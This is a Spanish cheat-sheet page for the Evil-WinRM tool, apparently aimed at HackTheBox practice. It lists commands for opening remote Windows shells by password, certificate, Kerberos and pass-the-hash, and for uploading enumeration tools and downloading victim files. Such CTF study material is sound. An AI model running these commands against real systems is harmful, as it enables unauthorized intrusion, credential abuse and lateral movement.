Buscar en todo Ctrl K

Evil-WinRM

Si un usuario está en Remote Management Users y el puerto 5985 (o 5986) está abierto, Evil-WinRM te da una shell cómoda con upload, download y carga de scripts y binarios .NET en memoria.

Plataforma
Linux · macOS (Ruby)
Web oficial
github.com/Hackplayers/evil-winrm
En HTB
15 máquinas
Instalación 
gem install evil-winrm

Chuleta de Evil-WinRM

Tus datos Se guardan en este navegador y se aplican a todas las chuletas.
9 comandos

Formas de autenticarse

Por HTTPS (puerto 5986) 
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -S
Con un certificado (por ejemplo, de ADCS) 
evil-winrm -i 10.10.11.20 -S -c certificado.crt -k clave.key
Con Kerberos (KRB5CCNAME exportado y krb5.conf configurado) 
evil-winrm -i dc01.box.htb -r box.htb

Dentro de la sesión

Subir y bajar ficheros Víctima 
upload winPEASx64.exe
download C:\Users\Public\backup.zip
Cargar scripts de una carpeta y ver el menú 
evil-winrm -i 10.10.11.20 -u usuario -p 'Password123!' -s /opt/scripts
menu

En nuestras chuletas

Transferencia de archivos › Windows

Subir y bajar con evil-winrm 
upload /ruta/local/fichero.exe
download C:\ruta\fichero

Escalada en Windows y Active Directory › Windows

WinRM Atacante 
evil-winrm -i 10.10.11.20 -u 'usuario' -p 'Password123!'
Pass-the-hash con evil-winrm Atacante 
evil-winrm -i 10.10.11.20 -u administrator -H HASH_NT

C2 y post-explotación › Movimiento lateral

evil-winrm Atacante 
evil-winrm -i 10.10.11.20 -u usuario -H 64f12cddaa88057e06a81b54e73b949b

Máquinas de HTB donde se usa Evil-WinRM

Sacadas de los capítulos de los vídeos de IppSec en los que aparece Evil-WinRM. El enlace ▶ salta al minuto de esa parte.

Guías que usan Evil-WinRM